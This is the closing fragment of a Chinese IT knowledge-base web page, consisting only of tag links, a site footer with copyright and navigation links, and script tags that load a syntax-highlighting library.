                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>